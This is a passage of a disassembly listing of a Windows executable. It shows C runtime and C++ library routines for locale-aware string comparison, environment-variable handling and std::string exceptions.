		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DF6A4
		call	sub_426733
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4266C0
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4266C0:				; CODE XREF: sub_426686+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_426686	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266C5	proc near		; CODE XREF: sub_4262F7+1Ep
					; sub_4269B0+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DE05C
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_426726
		mov	ebx, dword_428180


loc_4266DE:				; CODE XREF: sub_4266C5+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_42672E
		push	ebp
		call	sub_41BCA5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_42672E
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42672E
		push	edi
		push	[esp+18h+var_4]
		call	sub_4269B0
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4266DE


loc_426726:				; CODE XREF: sub_4266C5+11j
		xor	eax, eax


loc_426728:				; CODE XREF: sub_4266C5+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42672E:				; CODE XREF: sub_4266C5+29j
					; sub_4266C5+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_426728
sub_4266C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426733	proc near		; CODE XREF: sub_426686+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428CF8
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DE340, ebx
		push	1
		pop	edi
		jnz	short loc_4267A6
		push	edi
		mov	eax, offset dword_428948
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_428008	; CompareStringW
		test	eax, eax
		jz	short loc_426783
		mov	dword_4DE340, edi
		jmp	short loc_4267A6
; ---------------------------------------------------------------------------


loc_426783:				; CODE XREF: sub_426733+46j
		push	edi
		mov	eax, offset word_4CDB1C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42800C	; CompareStringA
		test	eax, eax
		jz	loc_42699C
		mov	dword_4DE340, 2


loc_4267A6:				; CODE XREF: sub_426733+31j
					; sub_426733+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_4267BD
		push	esi
		push	[ebp+arg_8]
		call	sub_4235A7
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_4267BD:				; CODE XREF: sub_426733+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4267D2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_4235A7
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4267D2:				; CODE XREF: sub_426733+8Dj
		mov	eax, dword_4DE340
		cmp	eax, 2
		jnz	short loc_4267F7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42800C	; CompareStringA
		jmp	loc_42699E
; ---------------------------------------------------------------------------


loc_4267F7:				; CODE XREF: sub_426733+A7j
		cmp	eax, edi
		jnz	loc_42699C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_42680C
		mov	eax, dword_4DE0FC
		mov	[ebp+arg_18], eax


loc_42680C:				; CODE XREF: sub_426733+CFj
		cmp	esi, ebx
		jz	short loc_426819
		cmp	[ebp+arg_14], ebx
		jnz	loc_4268B1


loc_426819:				; CODE XREF: sub_426733+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_426826


loc_42681E:				; CODE XREF: sub_426733+13Cj
					; sub_426733+16Dj
		push	2


loc_426820:				; CODE XREF: sub_426733+146j
		pop	eax
		jmp	loc_42699E
; ---------------------------------------------------------------------------


loc_426826:				; CODE XREF: sub_426733+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426832


loc_42682B:				; CODE XREF: sub_426733+151j
					; sub_426733+159j ...
		mov	eax, edi
		jmp	loc_42699E
; ---------------------------------------------------------------------------


loc_426832:				; CODE XREF: sub_426733+F6j
		cmp	esi, edi
		jg	short loc_426877
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4281D0	; GetCPInfo
		test	eax, eax
		jz	loc_42699C
		cmp	esi, ebx
		jle	short loc_42687B
		cmp	[ebp+var_3C], 2
		jb	short loc_426877
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426877


loc_42685D:				; CODE XREF: sub_426733+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426877
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426871
		cmp	cl, dl
		jbe	short loc_42681E


loc_426871:				; CODE XREF: sub_426733+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42685D


loc_426877:				; CODE XREF: sub_426733+101j
					; sub_426733+120j ...
		push	3
		jmp	short loc_426820
; ---------------------------------------------------------------------------


loc_42687B:				; CODE XREF: sub_426733+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_4268B1
		cmp	[ebp+var_3C], 2
		jb	short loc_42682B
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42682B


loc_42688E:				; CODE XREF: sub_426733+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42682B
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_4268A6
		cmp	cl, dl
		jbe	loc_42681E


loc_4268A6:				; CODE XREF: sub_426733+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42688E
		jmp	loc_42682B
; ---------------------------------------------------------------------------


loc_4268B1:				; CODE XREF: sub_426733+E0j
					; sub_426733+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_428184	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42699C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426900
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_426900:				; CODE XREF: sub_426733+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42699C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_428184
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42699C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42699C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42696B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42696B:				; CODE XREF: sub_426733+224j
		cmp	edi, ebx
		jz	short loc_42699C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_428184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42699C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428008	; CompareStringW
		jmp	short loc_42699E
; ---------------------------------------------------------------------------


loc_42699C:				; CODE XREF: sub_426733+63j
					; sub_426733+C6j ...
		xor	eax, eax


loc_42699E:				; CODE XREF: sub_426733+BFj
					; sub_426733+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426733	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4269B0	proc near		; CODE XREF: sub_4266C5+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_426A14
		push	3Dh
		push	[ebp+arg_0]
		call	sub_426BF6
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_426A14
		cmp	[ebp+arg_0], esi
		jz	short loc_426A14
		mov	eax, dword_4DE054
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DE058
		jnz	short loc_4269FA
		push	eax
		call	sub_426B8F
		pop	ecx
		mov	dword_4DE054, eax


loc_4269FA:				; CODE XREF: sub_4269B0+3Cj
		cmp	eax, edi
		jnz	short loc_426A52
		cmp	[ebp+arg_4], edi
		jz	short loc_426A1C
		cmp	dword_4DE05C, edi
		jz	short loc_426A1C
		call	sub_4266C5
		test	eax, eax
		jz	short loc_426A52


loc_426A14:				; CODE XREF: sub_4269B0+Dj
					; sub_4269B0+22j ...
		or	eax, 0FFFFFFFFh


loc_426A17:				; CODE XREF: sub_4269B0+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426A1C:				; CODE XREF: sub_4269B0+51j
					; sub_4269B0+59j
		cmp	ebx, edi
		jnz	loc_426B30
		push	4
		call	sub_41BCA5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DE054, eax
		jz	short loc_426A14
		mov	[eax], edi
		cmp	dword_4DE05C, edi
		jnz	short loc_426A52
		push	4
		call	sub_41BCA5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DE05C, eax
		jz	short loc_426A14
		mov	[eax], edi


loc_426A52:				; CODE XREF: sub_4269B0+4Cj
					; sub_4269B0+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DE054
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426B37
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_426AB2
		cmp	dword ptr [edi], 0
		jz	short loc_426AB2
		test	ebx, ebx
		jz	short loc_426AAA
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B881
		pop	ecx


loc_426A84:				; CODE XREF: sub_4269B0+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_426A94
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_426A84
; ---------------------------------------------------------------------------


loc_426A94:				; CODE XREF: sub_4269B0+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B9D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426AE4
		jmp	short loc_426ADF
; ---------------------------------------------------------------------------


loc_426AAA:				; CODE XREF: sub_4269B0+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_426AE4
; ---------------------------------------------------------------------------


loc_426AB2:				; CODE XREF: sub_4269B0+BDj
					; sub_4269B0+C2j
		test	ebx, ebx
		jnz	short loc_426B30
		test	esi, esi
		jge	short loc_426ABC
		neg	esi


loc_426ABC:				; CODE XREF: sub_4269B0+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B9D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_426A14
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_426ADF:				; CODE XREF: sub_4269B0+F8j
		mov	dword_4DE054, eax


loc_426AE4:				; CODE XREF: sub_4269B0+F6j
					; sub_4269B0+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_426B30
		push	[ebp+arg_0]
		call	sub_41B7B0
		inc	eax
		inc	eax
		push	eax
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_426B30
		push	[ebp+arg_0]
		push	esi
		call	sub_41C680
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_428004	; SetEnvironmentVariableA
		push	esi
		call	sub_41B881
		pop	ecx


loc_426B30:				; CODE XREF: sub_4269B0+6Ej
					; sub_4269B0+104j ...
		xor	eax, eax
		jmp	loc_426A17
sub_4269B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B37	proc near		; CODE XREF: sub_4269B0+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DE054
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_426B72
		mov	edi, [esp+8+arg_4]


loc_426B49:				; CODE XREF: sub_426B37+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_426686
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426B68
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_426B82
		test	al, al
		jz	short loc_426B82


loc_426B68:				; CODE XREF: sub_426B37+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426B49


loc_426B72:				; CODE XREF: sub_426B37+Cj
		mov	eax, esi
		sub	eax, dword_4DE054
		sar	eax, 2
		neg	eax


loc_426B7F:				; CODE XREF: sub_426B37+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426B82:				; CODE XREF: sub_426B37+2Bj
					; sub_426B37+2Fj
		mov	eax, esi
		sub	eax, dword_4DE054
		sar	eax, 2
		jmp	short loc_426B7F
sub_426B37	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B8F	proc near		; CODE XREF: sub_4269B0+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426B9E
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426B9E:				; CODE XREF: sub_426B8F+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_426BB0


loc_426BA6:				; CODE XREF: sub_426B8F+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_426BA6


loc_426BB0:				; CODE XREF: sub_426B8F+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_426BD1
		push	9
		call	sub_41E229
		pop	ecx


loc_426BD1:				; CODE XREF: sub_426B8F+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_426BD5:				; CODE XREF: sub_426B8F+5Bj
		test	eax, eax
		jz	short loc_426BEC
		push	eax
		add	ebx, 4
		call	sub_426C69
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_426BD5
; ---------------------------------------------------------------------------


loc_426BEC:				; CODE XREF: sub_426B8F+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_426B8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BF6	proc near		; CODE XREF: sub_4269B0+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DF49C, 0
		jnz	short loc_426C11
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C780
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426C11:				; CODE XREF: sub_426BF6+Aj
		mov	ecx, [ebp+arg_0]


loc_426C14:				; CODE XREF: sub_426BF6+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426C57
		movzx	edx, al
		test	byte_4DF5A1[edx], 4
		jz	short loc_426C43
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426C4E
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_426C52
		jmp	short loc_426C4B
; ---------------------------------------------------------------------------


loc_426C43:				; CODE XREF: sub_426BF6+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426C57


loc_426C4B:				; CODE XREF: sub_426BF6+4Bj
		inc	ecx
		jmp	short loc_426C14
; ---------------------------------------------------------------------------


loc_426C4E:				; CODE XREF: sub_426BF6+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426C52:				; CODE XREF: sub_426BF6+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426C57:				; CODE XREF: sub_426BF6+25j
					; sub_426BF6+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_426BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_426C69	proc near		; CODE XREF: sub_4185D4+21p
					; sub_426B8F+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_426C90
		push	esi
		call	sub_41B7B0
		inc	eax
		push	eax
		call	sub_41BCA5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426C90
		push	esi
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426C90:				; CODE XREF: sub_426C69+7j
					; sub_426C69+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426C69	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426CA0	proc near		; CODE XREF: sub_40D310+12p
					; sub_40D36A+12p ...
		mov	eax, offset loc_4276D4
		call	sub_41D434
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D515
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D54D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_426CFA
		lea	eax, [ebp-3Ch]
		push	offset dword_429080
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_428D14
		call	sub_427179
		pop	esi
sub_426CA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426CFA	proc near		; CODE XREF: sub_426CA0+3Fp
					; sub_426ECC+3Fp
		mov	eax, offset loc_4276E8
		call	sub_41D434
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_43FE14
		call	sub_42709E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D515
		push	dword_428D40
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D3C2
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_428D34
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_426CFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D5E	proc near		; DATA XREF: .packed:00428D18o
					; .packed:00428D38o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_426D6A
		mov	eax, offset dword_4286A8

locret_426D6A:				; CODE XREF: sub_426D5E+5j
		retn
sub_426D5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D6B	proc near		; DATA XREF: .packed:00428D3Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426DE1
		lea	eax, [ebp+var_1C]
		push	offset dword_4290F0
		push	eax
		call	sub_427179
sub_426D6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426D88	proc near		; CODE XREF: .packed:00426DC8p
					; DATA XREF: .packed:004290F4o
		mov	eax, offset loc_4276FC
		call	sub_41D434
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D34
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D515
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_427125
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426D88	endp

; ---------------------------------------------------------------------------


loc_426DC5:				; DATA XREF: .packed:off_428D34o
		push	esi
		mov	esi, ecx
		call	sub_426D88
		test	byte ptr [esp+8], 1
		jz	short loc_426DDB
		push	esi
		call	sub_41D453
		pop	ecx


loc_426DDB:				; CODE XREF: .packed:00426DD2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426DE1	proc near		; CODE XREF: sub_426D6B+Ap
					; sub_426EB4+7p ...
		mov	eax, offset loc_427710
		call	sub_41D434
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_4270DB
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40D515
		push	dword_428D40
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40D3C2
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_428D34
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_426DE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E3E	proc near		; CODE XREF: sub_426E7B+20p
					; DATA XREF: .packed:00429084o
		mov	eax, offset loc_427724
		call	sub_41D434
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D34
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D515
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_427125
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426E3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E7B	proc near		; DATA XREF: .packed:00428D1Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426EB4
		lea	eax, [ebp+var_1C]
		push	offset dword_429080
		push	eax
		call	sub_427179


loc_426E98:				; DATA XREF: .packed:off_428D14o
		push	esi
		mov	esi, ecx
		call	sub_426E3E
		test	[esp+20h+var_18], 1
		jz	short loc_426EAE
		push	esi
		call	sub_41D453
		pop	ecx


loc_426EAE:				; CODE XREF: sub_426E7B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_426E7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426EB4	proc near		; CODE XREF: sub_426E7B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_426DE1
		mov	dword ptr [esi], offset	off_428D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426EB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426ECC	proc near		; CODE XREF: sub_40D3C2+13p
					; sub_40D582+Ep
		mov	eax, offset loc_427738
		call	sub_41D434
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40D515
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40D54D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_426CFA
		lea	eax, [ebp-3Ch]
		push	offset dword_4291A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_428D48
		call	sub_427179
		pop	esi
sub_426ECC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426F26	proc near		; CODE XREF: sub_426F63+20p
					; DATA XREF: .packed:004291ACo
		mov	eax, offset loc_42774C
		call	sub_41D434
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_428D34
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D515
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_427125
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426F26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F63	proc near		; DATA XREF: .packed:00428D50o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426F9C
		lea	eax, [ebp+var_1C]
		push	offset dword_4291A8
		push	eax
		call	sub_427179


loc_426F80:				; DATA XREF: .packed:off_428D48o
		push	esi
		mov	esi, ecx
		call	sub_426F26
		test	[esp+20h+var_18], 1
		jz	short loc_426F96
		push	esi
		call	sub_41D453
		pop	ecx


loc_426F96:				; CODE XREF: sub_426F63+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F63	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426F9C	proc near		; CODE XREF: sub_426F63+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_426DE1
		mov	dword ptr [esi], offset	off_428D48
		mov	eax, esi
		pop	esi
		retn	4
sub_426F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426FB4	proc near		; DATA XREF: .packed:0042A018o

; FUNCTION CHUNK AT 00426FEA SIZE 0000000C BYTES

		test	byte_4DE34C, 1
		jnz	short loc_426FC4
		or	byte_4DE34C, 1


loc_426FC4:				; CODE XREF: sub_426FB4+7j
		call	sub_426FDE
		test	byte_4DF6E0, 1
		jnz	short loc_426FD9
		or	byte_4DF6E0, 1


loc_426FD9:				; CODE XREF: sub_426FB4+1Cj
		jmp	loc_426FEA
sub_426FB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426FDE	proc near		; CODE XREF: sub_426FB4:loc_426FC4p
		push	offset nullsub_1
		call	sub_41D810
		pop	ecx
		retn
sub_426FDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426FB4


loc_426FEA:				; CODE XREF: sub_426FB4:loc_426FD9j
